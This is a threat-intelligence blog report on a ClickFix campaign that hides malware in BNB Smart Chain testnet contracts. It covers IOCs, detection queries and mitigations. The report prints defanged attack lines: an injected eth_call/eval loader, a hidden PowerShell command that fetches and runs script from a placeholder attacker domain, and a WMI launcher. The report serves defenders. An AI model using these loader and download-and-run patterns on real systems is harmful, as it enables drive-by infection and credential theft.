EtherHiding: ClickFix Malware Buries Its C2 in BNB Smart Chain Contracts Across 5,400 Sites

Rudra Verma, Senior Security Architect & Researcher · 2026-09-14

What: Netskope has tracked an ongoing campaign that stores its malware and configuration inside smart contracts on the BNB Smart Chain (BSC) testnet — a technique known as EtherHiding — and serves it from more than 5,400 compromised websites affecting an estimated 2,200+ organisations worldwide.

How: Injected scripts on hacked WordPress and PrestaShop sites read a next-stage payload from an on-chain contract via a read-only eth_call, then present a fake CAPTCHA (ClickFix) that tricks the visitor into pasting a PowerShell command. A newer variant drops the visible lure and opens a covert WebRTC data channel for command-and-control.

Why it matters: The payload lives on an immutable, decentralised ledger that cannot be sinkholed or seized, and operators rewrite a single contract to change what every victim receives. Defenders who only block domains and IPs will miss it — this is a blockchain read masquerading as normal web traffic.

◈ Table of Contents

01 Campaign at a Glance 02 Disclosure & Timeline 03 Initial Access & Site Injection 04 Deep Dive: EtherHiding on BSC 05 The ClickFix Execution Chain 06 The WebRTC C2 Twist 07 Payloads & Post-Exploitation 08 Indicators of Compromise 09 Detection & Hunt Queries 10 MITRE ATT&CK Mapping 11 Mitigation & Hardening 12 Sources & References

🛰

01 · Campaign at a Glance

PROFILE

The operation is not a single piece of malware but a resilient delivery framework. It fuses two ideas that have each been circulating separately — blockchain-based payload hosting (EtherHiding) and copy-paste social engineering (ClickFix) — and threads them through thousands of unrelated hacked small-business sites. The loader lineage overlaps with the long-running ClearFake cluster, which pioneered EtherHiding on the BSC network. No nation-state attribution has been published; the operators are financially motivated and infostealer-focused.

Attribute	Detail
Technique names	EtherHiding (on-chain payload storage) + ClickFix (paste-and-run lure)
Loader lineage	Overlaps with ClearFake JavaScript loader cluster
Attribution	Unattributed · financially motivated · infostealer distribution
Blockchain used	BNB Smart Chain (BSC) testnet — free test BNB, no gas cost
Compromised sites	5,400+ (WordPress and PrestaShop dominant)
Estimated victims	~2,200 organisations worldwide
Daily active loaders	~300–400 sites contacting the chain per day (Aug 2026)
Targeting	Opportunistic — clinics, tradespeople, e-commerce; no shared sector/region
First on-chain contract	Deployed 8 December 2024 (per Blackpoint forensic analysis)
Final payloads	SectopRAT (.NET RAT), ACRStealer (C++ infostealer)
Severity	High — mass drive-by, cred theft, resilient C2

This is opportunistic, not targeted. The only thing 2,200 victim organisations have in common is that they run an out-of-date CMS. Any internet-facing WordPress or PrestaShop instance is in scope.

🕰

02 · Disclosure & Campaign Timeline

CHRONOLOGY

Observed Chronology

NZT-anchored reporting

1
8 Dec 2024 — The earliest EtherHiding contract used by this loader lineage is deployed to the BSC testnet, giving operators a mutable on-chain payload store.
2
Spring 2026 — Netskope begins tracking the current wave: injected loaders on small-business sites reading payloads from the testnet.
3
Through Aug 2026 — Campaign scales to 5,400+ compromised sites; roughly 300–400 remain active on any given day, feeding fresh victims.
4
Aug 2026 — A new variant appears that swaps the visible ClickFix overlay for a covert WebRTC data-channel C2 stager.
5
5 Sep 2026 — Netskope publishes "Malware on the Blockchain: An Ongoing Campaign's New WebRTC Twist," quantifying scope and detailing the WebRTC variant.

The 8 Dec 2024 contract age matters for triage: if you find blockchain read traffic to the same contract you saw a year ago, this is a long-lived campaign, not a one-off — widen your lookback window accordingly.

🎯

03 · Initial Access & Site Injection

ENTRY VECTOR

Two victim populations exist: the site owners whose CMS is compromised, and the visitors who are then socially engineered. The exact CMS entry vector is not fully confirmed by researchers, but the injected artefacts and target profile point squarely at unpatched plugins and stolen admin credentials on stale WordPress/PrestaShop installs.

The Injected Loader

Content injection

Compromised sites carry either an inline <script> block or a spoofed/trojanised JavaScript package that impersonates a legitimate library. The loader is obfuscated — Blackpoint observed obfuscator.io applied twice across the delivery chain — and its only job is to call the blockchain and act on whatever it receives.

Representative injected loader (defanged, structure only)

// injected into page footer or a spoofed .js "library" const RPC = "https://bsc-testnet-rpc.publicnode.com"; const CONTRACT = "0xA1decFB75C8C0CA28C10517ce56B710baf727d2e"; // read-only call — no wallet, no gas, no signed transaction const stage = await ethCall(RPC, CONTRACT, "0x..."); eval(atob(decodeAbiString(stage))); // run the on-chain JS

There is no signed transaction and no wallet interaction. To a proxy, this looks like an ordinary HTTPS POST to a public RPC endpoint — indistinguishable from a benign Web3 dApp unless you inspect the JSON-RPC body.

Victim Fingerprinting & Filtering

Selective delivery

Before showing anything, the loader profiles the visitor. Trend Micro and Blackpoint documented a UUIDv4 per victim, a cjs_id cookie with a 2-day lifetime for de-duplication, IP geolocation via ip-info.ff.avast.com, and even Yandex Metrika (counter ID 99162160) for campaign analytics. The on-chain isGoalReached() function lets the contract stop serving once a target count is hit.

Analyst gotcha: because delivery is gated by geo, cookie and quota, a sandbox that already carries a cjs_id cookie or hits from a datacentre IP may receive a benign response. Detonate from a clean, residential-looking egress or you will conclude the site is safe.

🔬

04 · Deep Dive — EtherHiding on the BSC Testnet

TECHNICAL CORE

This is the part that makes the campaign hard to kill. EtherHiding treats a smart contract as a read/write dead-drop resolver. The attacker writes the payload into contract storage once (a signed transaction they pay for), and every victim thereafter reads it with an unauthenticated, gas-free eth_call. There is no server to seize, no domain to sinkhole, and the operator can overwrite the payload at will by sending a single new transaction.

How the payload is read from chain

eth_call / JSON-RPC

The loader issues a standard Ethereum JSON-RPC eth_call against a public BSC testnet node. eth_call executes a contract's read function locally on the node and returns the result without broadcasting a transaction — so it leaves no on-chain trace, costs nothing, and needs no private key. The response is an EVM ABI-encoded string, which the injected script decodes by hand (no web3.js dependency) to recover a base64 blob of JavaScript.

The on-chain read (defanged) — a benign-looking POST to a public node

POST / HTTP/1.1 Host: bsc-testnet-rpc.publicnode.com Content-Type: application/json {"jsonrpc":"2.0","method":"eth_call", "params":[{"to":"0xA1decFB75C8C0CA28C10517ce56B710baf727d2e", "data":"0x<abi-encoded-getter-selector>"},"latest"], "id":1}

Response → ABI-decoded → base64 → JavaScript (conceptual)

// response.result is a long 0x… ABI string stage2 = base64decode( abiDecodeString(result) ) // stage2 selects OS-specific behaviour and next contract

Payloads split across four contracts

On-chain staging

Trend Micro's analysis of the ClearFake variant mapped the storage across four cooperating contracts, each holding a distinct stage. Splitting the logic lets operators swap the Windows overlay independently of the macOS branch, and keeps any single read from revealing the whole chain.

Contract	Address	Role
A	0xA1decFB75C8C0CA28C10517ce56B710baf727d2e	Base64 stage-2 dispatcher
B	0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff	Windows ClickFix overlay (~43 KB)
C	0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5	macOS payload branch
D	0xf4a32588b50a59a82fbA148d436081A48d80832A	Execution-confirmation / goal tracker

Why the testnet, and why it is durable

Threat model

The BSC testnet behaves like the mainnet but its tokens are free from public faucets — so the operators pay nothing to store and update payloads, and there is no financial trail to follow. Because contract state is replicated across every node, no takedown request removes it, and the data is served by whichever public RPC endpoint the loader points at. Rotation is trivial: one write transaction changes what all 5,400 sites deliver simultaneously.

Why blocking is hard

No single origin server or domain to sinkhole
Reads are gas-free and unauthenticated — nothing to rate-limit at the wallet
Traffic mimics legitimate dApp/Web3 activity
Payload rotates via one transaction; IOCs on the delivered file expire fast
Multiple public RPC endpoints are interchangeable

Attack chain — one on-chain read branches into the visible ClickFix lure or the covert WebRTC C2

📋

05 · The ClickFix Execution Chain

SOCIAL ENGINEERING

The fake CAPTCHA and the clipboard

Paste-and-run

The Windows overlay (contract B) blurs the page behind a spoofed Google reCAPTCHA. When the visitor clicks the checkbox, the page silently calls navigator.clipboard.writeText() to load a command into the clipboard, then instructs the user to press Win+R, paste, and hit Enter. The victim runs the attacker's code themselves, which sidesteps download prompts and Mark-of-the-Web.

Observed pasted command (defanged — Blackpoint)

powershell.exe -w h (irm -useb 'hxxps://<attacker-domain>/x') | powershell

-w h hides the PowerShell window; irm -useb is Invoke-RestMethod -UseBasicParsing, downloading and piping remote script straight into a second PowerShell. A legitimate CAPTCHA never asks you to open the Run dialog. Treat any such instruction as hostile.

mshta, HTML smuggling and WMI hand-off

LOLBin chain

Later stages chain trusted Windows binaries to stay off disk-based AV. Blackpoint documented an mshta stage that pulls a script from a Russian-hosted domain, an ISO with smuggled JavaScript masquerading as a .sh file, and a VBScript launcher that spawns the next stage through WMI — evading PowerShell script-block policy by never invoking the console directly.

VBScript → WMI process creation (structure)

GetObject("winmgmts:").Get("Win32_Process").Create _ "powershell -enc <base64>" ' runs without touching cmd/powershell shell policy

Windows execution sequence

1
User pastes powershell -w h (irm …) | powershell from the fake CAPTCHA.
2
First-stage script invokes mshta against a remote HTA/script.
3
Remote DLL loaded via the WebClient (WebDAV) service; ISO-smuggled JS unpacks.
4
VBScript uses Win32_Process.Create (WMI) to launch base64 PowerShell.
5
Final infostealer/RAT executes in memory; isGoalReached() is signalled on-chain.

📡

06 · The WebRTC C2 Twist

NEW VARIANT

From visible lure to covert channel

RTCDataChannel

The variant Netskope flagged in August 2026 drops the ClickFix overlay entirely. Instead of asking the user to paste anything, the on-chain stager opens a WebRTC RTCDataChannel directly from the browser to an attacker peer. WebRTC is built for peer-to-peer audio/video/data and rides over UDP with ICE for NAT traversal and DTLS for encryption — traffic that HTTP-oriented web proxies and URL filters were never designed to inspect.

The stager carries the signalling material it needs — ICE candidates, DTLS fingerprints and channel parameters — so the data channel forms without a visible signalling server call. Once open, the channel is a bidirectional, encrypted command path that looks like an ordinary video-conferencing or gaming session to the network layer.

Why the WebRTC variant is dangerous

No user interaction required — the paste step disappears
UDP + DTLS evades HTTP proxy, TLS-inspecting forward proxy and URL categorisation
Peer-to-peer path avoids a fixed C2 domain/IP to blocklist
Blends with legitimate WebRTC apps (Meet, Teams, Discord, browser games)

Dimension	ClickFix variant	WebRTC variant
User interaction	Required (Win+R paste)	None
Delivery surface	Contract B overlay (~43 KB)	On-chain WebRTC stager
C2 transport	HTTPS to attacker domain	UDP · ICE · DTLS peer-to-peer
Network visibility	Proxy/URL filter can see it	Evades HTTP proxy & URL categorisation
Best host signal	Hidden PowerShell + RunMRU	RTCPeerConnection to unsanctioned peer
Best network signal	BSC RPC read + attacker domain	BSC RPC read + STUN to non-allowlisted host

Most enterprises allow WebRTC outright for collaboration tools. If you cannot block it, at least pin allowed STUN/TURN servers and alert on RTCPeerConnection established by pages that are not on your sanctioned collaboration allowlist.

🐀

07 · Payloads & Post-Exploitation

IMPACT

Whatever branch the victim takes, the endgame is credential and session theft. Trend Micro documented two families delivered by this loader lineage.

🧬

SectopRAT

A .NET remote access trojan with a hidden secondary desktop for browser session hijacking, remote control and credential theft. Grants hands-on-keyboard access once resident.

🪝

ACRStealer

A C++ infostealer targeting saved passwords, cookies, crypto wallets and Steam/Discord credentials — packaging everything for resale or follow-on account takeover.

🔁

Rotating stage-2

Because the payload is a single on-chain write, operators can swap SectopRAT/ACRStealer for a loader, ransomware pre-cursor, or a new stealer without touching any website.

Stolen browser cookies mean MFA-protected SaaS sessions can be replayed without the password. Treat any ACRStealer/SectopRAT hit as a session-compromise event: force token revocation, not just a password reset.

🧾

08 · Indicators of Compromise

IOCs

The delivered file hashes rotate every time the operators rewrite the contract — treat file IOCs as short-lived. The on-chain addresses, RPC endpoint and behavioural artefacts below are the durable indicators.

On-chain & infrastructure indicators

Type	Indicator	Context
RPC endpoint	bsc-testnet-rpc.publicnode.com	Public node used for eth_call reads
Contract A	0xA1decFB75C8C0CA28C10517ce56B710baf727d2e	Stage-2 dispatcher
Contract B	0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff	Windows ClickFix overlay
Contract C	0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5	macOS payload branch
Contract D	0xf4a32588b50a59a82fbA148d436081A48d80832A	Execution/goal tracker
Deployer wallet	0xd71f4cdC84420d2bd07F50787B4F998b4c2d5290	Funded/deployed the contracts

Behavioural & host artefacts

Type	Indicator	Context
Tracking cookie	cjs_id (2-day TTL)	Victim de-duplication set by loader
Geolocation call	ip-info.ff.avast.com	Visitor IP profiling
Analytics	Yandex Metrika counter 99162160	Campaign telemetry
Contract function	isGoalReached()	Quota gate stops serving payload
Run command	powershell -w h (irm -useb …) \| powershell	ClickFix paste payload
Obfuscation	obfuscator.io (applied twice)	Loader/JS obfuscation
RunMRU value	HKCU\…\Explorer\RunMRU	Records the pasted Win+R command

🗂

Netskope Threat Labs — full IOC repository

Includes the complete BSC testnet RPC endpoint pool to block

↗

🔎

09 · Detection & Hunt Queries

KQL + SPL

DETECTS: ClickFix execution — PowerShell launched hidden and pulling remote script, the single most reliable host signal.

Microsoft Sentinel / Defender — KQL

DeviceProcessEvents | where FileName =~ "powershell.exe" | where ProcessCommandLine has_any ("-w h","-windowstyle hidden") | where ProcessCommandLine has_any ("irm","Invoke-RestMethod","-useb","UseBasicParsing") | where InitiatingProcessFileName in~ ("explorer.exe","mshta.exe","wscript.exe") | project Timestamp,DeviceName,AccountName,ProcessCommandLine,InitiatingProcessFileName

Splunk — SPL

index=endpoint sourcetype=*Sysmon* EventCode=1 Image="*\\powershell.exe" | search (CommandLine="*-w h*" OR CommandLine="*windowstyle hidden*") (CommandLine="*irm*" OR CommandLine="*Invoke-RestMethod*" OR CommandLine="*-useb*") | table _time host user CommandLine ParentImage

DETECTS: The Win+R paste itself — RunMRU registry writes containing a PowerShell one-liner, the ClickFix smoking gun.

Microsoft Sentinel / Defender — KQL

DeviceRegistryEvents | where RegistryKey has @"\Explorer\RunMRU" | where RegistryValueData has_any ("powershell","mshta","irm","curl","\\1") | project Timestamp,DeviceName,RegistryValueName,RegistryValueData

Splunk — SPL

index=endpoint sourcetype=*Sysmon* EventCode=13 TargetObject="*\\Explorer\\RunMRU*" | search Details="*powershell*" OR Details="*mshta*" OR Details="*irm*" | table _time host user TargetObject Details

DETECTS: Blockchain payload reads — outbound calls to BSC testnet RPC endpoints from non-developer hosts.

Microsoft Sentinel / Defender — KQL (network)

DeviceNetworkEvents | where RemoteUrl has_any ("bsc-testnet-rpc.publicnode.com","data-seed-prebsc","bsc-testnet") | where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe") | summarize hits=count() by DeviceName,RemoteUrl,InitiatingProcessFileName,bin(Timestamp,1h)

Splunk — SPL (proxy/DNS)

index=proxy OR index=dns | search (url="*bsc-testnet*" OR query="*bsc-testnet*" OR url="*publicnode.com*") | stats count values(url) by src_ip | where count > 0

DETECTS: The WebRTC C2 variant — browser opening data channels to non-sanctioned STUN/TURN peers.

Splunk — SPL (firewall/UDP + STUN)

index=network sourcetype=firewall proto=udp | search (app=stun OR app=webrtc OR dest_port=3478 OR dest_port=19302) | search NOT dest_host IN ("*.teams.microsoft.com","*.googleusercontent.com","*.zoom.us") | stats count dc(dest_host) as peers by src_ip | where peers > 2

Microsoft Sentinel — KQL (mshta LOLBin hand-off)

DeviceProcessEvents | where FileName =~ "mshta.exe" or (FileName =~ "wscript.exe" and ProcessCommandLine has ".sh") | where InitiatingProcessFileName has_any ("powershell.exe","explorer.exe") | project Timestamp,DeviceName,FileName,ProcessCommandLine,InitiatingProcessCommandLine

Layer the signals: a single browser reaching a BSC testnet RPC is low-confidence, but that host also spawning hidden PowerShell within minutes is a near-certain ClickFix chain. Correlate the network read with the RunMRU write on the same device inside a 10-minute window.

🎛

10 · MITRE ATT&CK Mapping

TTPs

Tactic	Technique	ID	Use in campaign
Initial Access	Drive-by Compromise	T1189	Hacked CMS sites serve the loader to visitors
Resource Dev.	Stage Capabilities: Drive-by Target	T1608.004	Injected loader placed on 5,400+ sites
Command & Control	Web Service (dead-drop resolver)	T1102	Payload/config read from BSC contract via eth_call
Execution	Malicious Copy and Paste	T1204.004	ClickFix fake CAPTCHA → Win+R paste
Execution	Command & Scripting: PowerShell	T1059.001	Hidden PowerShell downloader
Execution	Command & Scripting: Visual Basic	T1059.005	VBScript WMI launcher
Execution	Windows Management Instrumentation	T1047	Win32_Process.Create spawns next stage
Defense Evasion	System Binary Proxy Exec: Mshta	T1218.005	mshta pulls remote script
Defense Evasion	Obfuscated Files or Information	T1027	obfuscator.io applied twice; on-chain base64
Defense Evasion	HTML Smuggling	T1027.006	ISO with smuggled JS posing as .sh
Command & Control	Non-Application Layer Protocol	T1095	WebRTC data channel over UDP/DTLS
Command & Control	Encrypted Channel	T1573	DTLS-secured WebRTC path
Credential Access	Credentials from Password Stores	T1555	ACRStealer harvests browser secrets
Collection	Data from Local System	T1005	Cookies, wallets, app credentials stolen

🛡

11 · Mitigation & Hardening

DEFEND

Network & browser controls

Block the reads

1
Block the BSC testnet RPC pool at the proxy/DNS layer — Netskope publishes the full endpoint list. Enterprises with no Web3 use case lose nothing.
2
Constrain WebRTC: restrict RTCPeerConnection via browser policy to sanctioned collaboration domains; pin allowed STUN/TURN servers.
3
Disable the Win+R paste path where feasible — Group Policy NoRun for standard users, or restrict clipboard-to-Run behaviour via endpoint policy.

Endpoint hardening

Break the chain

1
Enable Microsoft ASR rules: block JS/VBScript from launching downloaded executables, and block Office/child-process abuse; ASR reliably breaks the mshta/WMI hand-off.
2
Enforce PowerShell Constrained Language Mode and turn on script-block + module logging so hidden downloaders are captured even when the console is proxied via WMI.
3
Alert on mshta.exe and wscript.exe spawned by explorer.exe or a browser — a normal user rarely does this.

If you run WordPress / PrestaShop

Stop being the delivery site

1
Patch core, themes and plugins now; audit for unknown admin accounts and rotate all CMS credentials.
2
Run a file-integrity check for unexpected inline <script> in footers/headers and spoofed .js "library" files calling any RPC/eth endpoint.
3
Add a Content-Security-Policy that blocks inline scripts and unknown connect-src destinations to neuter injected loaders.

Remediation complete when

No host reaches BSC testnet RPC endpoints outside sanctioned dev
No RunMRU entries containing powershell/mshta one-liners
Stolen sessions revoked and MFA tokens reissued for any ACRStealer hit
Compromised CMS cleaned, patched, credentials rotated, CSP enforced

📚

12 · Sources & References

VERIFY

Netskope Threat Labs — Malware on the Blockchain: An Ongoing Campaign's New WebRTC Twist (primary) BleepingComputer — Over 5,400 hacked sites serve ClickFix payloads stored on the blockchain Trend Micro — Smart Contracts for Command & Control: ClearFake on the BSC Testnet Blackpoint Cyber — Beyond the Click: Forensic Analysis of EtherHiding in ClickFix Campaign Infrastructure Netskope Threat Labs — IOC repository (BSC testnet RPC endpoint pool) MITRE ATT&CK — T1204.004 Malicious Copy and Paste MITRE ATT&CK — T1102 Web Service

Hunt the blockchain reads before they become a session-theft incident.

Run the on-chain and RunMRU indicators from this report through the CyberHawk IOC Scanner, and track the wider EtherHiding / ClickFix wave on our Threat Intel feed. Building detections? The SOP library covers TI IOC matching and web-shell/loader response end to end.

◈ Stay Connected

Follow CyberHawk Threat Intel for threat intelligence, deployment guides and hands-on SOC tooling content.

🌐 Website ▶️ YouTube ▶️ YouTube (2) 𝕏 Twitter / X ♪ TikTok ✈️ Telegram

🔍 IOC Scanner 🛠️ Live Tools 📚 Courses 🚨 Threat Intel 📝 Blog 📋 SOPs

"They can't exploit you if you are the Exploit."